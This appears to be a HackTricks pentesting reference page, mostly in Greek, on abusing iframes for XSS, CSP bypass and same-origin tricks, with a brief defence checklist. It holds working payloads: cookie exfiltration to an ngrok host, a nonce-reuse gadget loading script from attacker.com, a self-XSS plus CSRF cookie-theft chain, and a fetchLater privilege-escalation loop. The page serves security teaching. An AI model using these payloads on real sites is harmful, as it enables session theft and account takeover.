Iframes in XSS, CSP and SOP

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks

Iframes in XSS

Υπάρχουν 3 τρόποι να υποδείξετε το περιεχόμενο μιας σελίδας που βρίσκεται σε iframe:

  • Μέσω src που υποδεικνύει ένα URL (το URL μπορεί να είναι cross origin ή same origin)
  • Μέσω src που υποδεικνύει το περιεχόμενο χρησιμοποιώντας το πρωτόκολλο data:
  • Μέσω srcdoc που υποδεικνύει το περιεχόμενο

Πρόσβαση σε Parent & Child vars

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., the parent won’t be able to access the secret var inside any iframe and only the iframes if2 & if3 (which are considered to be same-site) can access the secret in the original window.
Note how if4 is considered to have null origin.

srcdoc ιδιαιτερότητες που έχουν σημασία σε πραγματικά exploits

Δύο λεπτομέρειες γύρω από το srcdoc είναι εύκολο να παραβλεφθούν κατά την exploitation:

  • Εκτός αν το frame είναι sandboxed χωρίς allow-same-origin, ένα srcdoc document είναι same-origin with the parent. Επομένως, η έγχυση attacker-controlled HTML στο srcdoc συνήθως ισοδυναμεί με την παροχή άμεσης πρόσβασης στο DOM του top document.
  • Αν και το URL του εγγράφου είναι about:srcdoc, οι relative URLs επιλύονται χρησιμοποιώντας ως base URL το URL της σελίδας που το ενσωματώνει. Αυτό σημαίνει ότι payloads όπως <script src="/upload/payload.js"></script> ή <img src="/internal/debug"> θα στοχεύουν το parent origin, όχι το about:srcdoc.

Practical payload:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

Αυτό είναι ιδιαίτερα χρήσιμο όταν ελέγχετε μόνο το markup αλλά γνωρίζετε ένα same-origin path που επιστρέφει attacker-controlled JavaScript, JSONP, ή HTML χωρίς περιοριστικό CSP.

Iframes με CSP

Tip

Παρακαλώ, σημειώστε πώς στις ακόλουθες παρακάμψεις η απάντηση στη σελίδα που είναι μέσα σε iframe δεν περιέχει κανένα CSP header που να αποτρέπει την εκτέλεση JS.

The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore it’s possible to bypass the CSP of a page with:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Σημειώστε ότι η προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του inline script.
Ωστόσο, μόνο τα if1 και if2 scripts θα εκτελεστούν αλλά μόνο το if1 θα μπορέσει να έχει πρόσβαση στο μυστικό του γονέα.

Επομένως, είναι δυνατόν να παρακάμψετε μια CSP αν μπορείτε να ανεβάσετε ένα JS αρχείο στον server και να το φορτώσετε μέσω iframe ακόμα και με script-src 'none'. Αυτό μπορεί πιθανώς επίσης να γίνει με κατάχρηση ενός same-site JSONP endpoint.

Μπορείτε να το δοκιμάσετε με το ακόλουθο σενάριο όπου ένα cookie κλέβεται ακόμα και με script-src 'none'. Απλώς τρέξτε την εφαρμογή και ανοίξτε την με τον browser σας:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Νέες (2023-2025) τεχνικές παράκαμψης CSP με iframes

Η ερευνητική κοινότητα συνεχίζει να ανακαλύπτει δημιουργικούς τρόπους για την κατάχρηση των iframes ώστε να παρακάμπτονται περιοριστικές πολιτικές. Παρακάτω βρίσκονται οι πιο αξιοσημείωτες τεχνικές που δημοσιεύτηκαν τα τελευταία χρόνια:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Όταν μια εφαρμογή αντανακλά HTML αλλά μια ισχυρή CSP μπλοκάρει την εκτέλεση script, μπορείτε ακόμα να leak ευαίσθητα tokens εισάγοντας ένα ορφανό <iframe name> attribute. Μόλις το μερικό markup αναλυθεί, το attacker script που τρέχει σε ξεχωριστό origin πλοηγεί το frame στο about:blank και διαβάζει window.name, που τώρα περιέχει τα πάντα μέχρι το επόμενο χαρακτήρα quote (για παράδειγμα ένα CSRF token). Επειδή δεν εκτελείται JavaScript στο context του θύματος, η επίθεση συνήθως παρακάμπτει το script-src 'none'. Ένα ελάχιστο PoC είναι:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – CSP nonces είναι αναγνώσιμα από το DOM από same-origin documents. Αν ένας attacker μπορεί να εισάγει ή να ανεβάσει μια same-origin HTML σελίδα και να τη φορτώσει σε ένα iframe, το child frame μπορεί να διαβάσει top.document.querySelector('[nonce]').nonce και να δημιουργήσει νέα <script nonce> στοιχεία. Αυτό μετατρέπει μια same-origin HTML injection σε πλήρη εκτέλεση script ακόμα και υπό strict-dynamic (επειδή το nonce είναι ήδη trusted). Το ακόλουθο gadget κλιμακώνει μια markup injection σε XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – Μια σελίδα που παραλείπει την οδηγία form-action μπορεί να έχει τη φόρμα σύνδεσής της re-targeted από ένα injected iframe ή inline HTML, έτσι ώστε οι διαχειριστές κωδικών να συμπληρώνουν αυτόματα και να υποβάλουν τα διαπιστευτήρια σε εξωτερικό domain, ακόμα και όταν υπάρχει script-src 'none'. Πάντα να συμπληρώνετε το default-src με form-action!

Σημειώσεις άμυνας (γρήγορος έλεγχος)

  1. Στέλνετε πάντα όλες τις οδηγίες CSP που ελέγχουν δευτερεύοντα contexts (form-action, frame-src, child-src, object-src, κλπ.).
  2. Μην βασίζεστε στο ότι τα nonces είναι μυστικά—χρησιμοποιήστε strict-dynamic και εξαλείψτε τα injection points.
  3. Όταν πρέπει να ενσωματώσετε μη αξιόπιστα έγγραφα, χρησιμοποιήστε sandbox="allow-scripts allow-same-origin" με πολύ προσοχή (ή χωρίς allow-same-origin αν χρειάζεστε μόνο απομόνωση εκτέλεσης script).
  4. Σκεφτείτε μια ανάπτυξη defense-in-depth με COOP+COEP; το νέο <iframe credentialless> attribute (§ below) σας επιτρέπει να το κάνετε χωρίς να σπάσετε ενσωματώσεις τρίτων.

Άλλα Payloads που βρέθηκαν στο wild

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Το περιεχόμενο μέσα σε ένα iframe μπορεί να υποβληθεί σε επιπλέον περιορισμούς μέσω της χρήσης του attribute sandbox. Από προεπιλογή, αυτό το attribute δεν εφαρμόζεται, δηλαδή δεν τίθενται περιορισμοί.

Όταν χρησιμοποιείται, το attribute sandbox επιβάλλει αρκετούς περιορισμούς:

  • Το περιεχόμενο θεωρείται ότι προέρχεται από μοναδική προέλευση.
  • Οποιαδήποτε προσπάθεια υποβολής φορμών αποκλείεται.
  • Η εκτέλεση scripts απαγορεύεται.
  • Η πρόσβαση σε ορισμένα APIs απενεργοποιείται.
  • Αποτρέπει τους συνδέσμους από το να αλληλεπιδρούν με άλλα περιβάλλοντα περιήγησης.
  • Η χρήση plugins μέσω <embed>, <object>, <applet>, ή παρόμοιων tags δεν επιτρέπεται.
  • Αποτρέπεται η πλοήγηση του top-level browsing context από το ίδιο το περιεχόμενο.
  • Χαρακτηριστικά που ενεργοποιούνται αυτόματα, όπως η αναπαραγωγή βίντεο ή το auto-focusing των στοιχείων φόρμας, αποκλείονται.

Συμβουλή: Τα σύγχρονα browsers υποστηρίζουν λεπτομερείς flags όπως allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, κ.λπ. Συνδυάστε τις για να χορηγήσετε μόνο τις ελάχιστες δυνατότητες που απαιτεί η ενσωματωμένη εφαρμογή.

Η τιμή του attribute μπορεί να παραμείνει κενή (sandbox="") για να εφαρμοστούν όλοι οι παραπάνω περιορισμοί. Εναλλακτικά, μπορεί να οριστεί ως λίστα τιμών διαχωρισμένων με κενό οι οποίες εξαιρούν το iframe από συγκεκριμένους περιορισμούς.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Αν η ενσωματωμένη σελίδα είναι same-origin και δώσετε τόσο το allow-scripts όσο και το allow-same-origin, το sandbox γίνεται ένα πολύ ασθενές όριο. Το child μπορεί να εκτελέσει JavaScript, να προσπελάσει το top.document και ακόμη να αφαιρέσει το attribute sandbox από το δικό του στοιχείο <iframe>:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

Στην πράξη, το sandbox="allow-scripts allow-same-origin" πρέπει να θεωρείται μη ασφαλές για περιεχόμενο ίδιας προέλευσης που μπορεί να χειραγωγηθεί από επιτιθέμενους. Παραμένει χρήσιμο για μερικά third-party embeds, αλλά δεν αποτελεί όριο απομόνωσης έναντι εχθρικού same-origin HTML.

Credentialless iframes

Όπως εξηγείται στο this article, η σημαία credentialless σε ένα iframe χρησιμοποιείται για να φορτώσει μια σελίδα μέσα σε iframe χωρίς να στέλνει credentials στο αίτημα, διατηρώντας ταυτόχρονα το same origin policy (SOP) της φορτωμένης σελίδας στο iframe.

Από Chrome 110 (February 2023) η λειτουργία είναι ενεργοποιημένη από προεπιλογή και το spec τυποποιείται σε browsers υπό την ονομασία anonymous iframe. Το MDN το περιγράφει ως: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Συμπεράσματα για επιτιθέμενους και αμυνόμενους:

  • Τα scripts σε διαφορετικά credentialless iframes εξακολουθούν να μοιράζονται τον ίδιο top-level origin και μπορούν να αλληλεπιδρούν ελεύθερα μέσω του DOM, καθιστώντας εφικτές τις multi-iframe self-XSS επιθέσεις (βλ. PoC παρακάτω).
  • Επειδή το δίκτυο είναι credential-stripped, οποιοδήποτε request μέσα στο iframe συμπεριφέρεται ουσιαστικά σαν μη-επαληθευμένη συνεδρία – τα endpoints που προστατεύονται με CSRF συνήθως αποτυγχάνουν, αλλά οι δημόσιες σελίδες leakable μέσω DOM εξακολουθούν να είναι εντός του πεδίου.
  • Το storage είναι partitioned by a top-level document nonce: τα credentialless frames στην ίδια σελίδα μπορούν να μοιράζονται storage μεταξύ τους, αλλά αυτό διαγράφεται όταν το top-level document απορριφθεί.
  • Τα pop-ups που δημιουργούνται από ένα credentialless iframe παίρνουν ένα implicit rel="noopener", κάτι που σπάει ορισμένα OAuth flows.
  • Αναμένεται οι browsers να απενεργοποιούν autofill/password managers εντός credentialless iframes, περιορίζοντας την κλοπή credentials μέσω autofill σε αυτά τα περιβάλλοντα.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Παράδειγμα εκμετάλλευσης: Self-XSS + CSRF

Σε αυτή την επίθεση, ο επιτιθέμενος ετοιμάζει μια κακόβουλη ιστοσελίδα με 2 iframes:

  • Ένα iframe που φορτώνει τη σελίδα του θύματος με τη σημαία credentialless και περιέχει ένα CSRF που ενεργοποιεί ένα XSS (Φανταστείτε ένα Self-XSS στο username του χρήστη):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Ένα άλλο iframe στο οποίο ο χρήστης είναι πραγματικά συνδεδεμένος (χωρίς τη σημαία credentialless).

Στη συνέχεια, από το XSS είναι δυνατό να αποκτηθεί πρόσβαση στο άλλο iframe επειδή έχουν το ίδιο SOP και να κλαπεί το cookie, για παράδειγμα εκτελώντας:

alert(window.top[1].document.cookie);

fetchLater Επίθεση

Όπως αναφέρεται σε αυτό το άρθρο, το API fetchLater επιτρέπει τη διαμόρφωση ενός αιτήματος που θα εκτελεστεί αργότερα. Αυτό μπορεί να καταχραστεί, για παράδειγμα, για να συνδεθεί ένα θύμα μέσα στη συνεδρία ενός επιτιθέμενου (με Self-XSS), να προγραμματίσει ένα fetchLater αίτημα (π.χ. για να αλλάξει τον κωδικό του τρέχοντος χρήστη), και να αποσυνδεθεί από τη συνεδρία του επιτιθέμενου. Στη συνέχεια, όταν το θύμα συνδεθεί στη δική του συνεδρία, το αναβαλλόμενο αίτημα μπορεί να εκτελεστεί χρησιμοποιώντας τα cookies που είναι διαθέσιμα κατά την αποστολή, αλλάζοντας τον κωδικό του θύματος σε αυτόν που έθεσε ο επιτιθέμενος.

Λειτουργικές σημειώσεις:

  • Το fetchLater μπήκε σε Chrome origin trial το 2024 και κυκλοφόρησε στο Chrome 135 (Απρίλιος 2025), οπότε ελέγξτε αν το χαρακτηριστικό υποστηρίζεται πριν βασιστείτε σε αυτό.
  • Η απάντηση δεν είναι διαθέσιμη σε JavaScript· το body/τα headers αγνοούνται μόλις σταλεί το αναβαλλόμενο αίτημα.
  • Η εφαρμογή του CSP χρησιμοποιεί connect-src (όχι script-src) για αναβαλλόμενα αιτήματα.
  • Τα αιτήματα εκτελούνται κατά την αποφόρτωση της σελίδας ή όταν λήξει το activateAfter (όποιο συμβεί πρώτο).
  • Η μέγιστη μεμονωμένη καθυστέρηση είναι επί του παρόντος 299000 ms, οπότε μεγάλες αναμονές απαιτούν επαναπρογραμματισμό πολλών αναβαλλόμενων αιτημάτων.

Με αυτόν τον τρόπο, ακόμη και αν το URL του θύματος δεν μπορεί να φορτωθεί σε iframe (λόγω CSP ή άλλων περιορισμών), ο επιτιθέμενος μπορεί να εκτελέσει αίτημα μέσα στη συνεδρία του θύματος.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

Iframes στο SOP

Ελέγξτε τις παρακάτω σελίδες:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Αναφορές

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks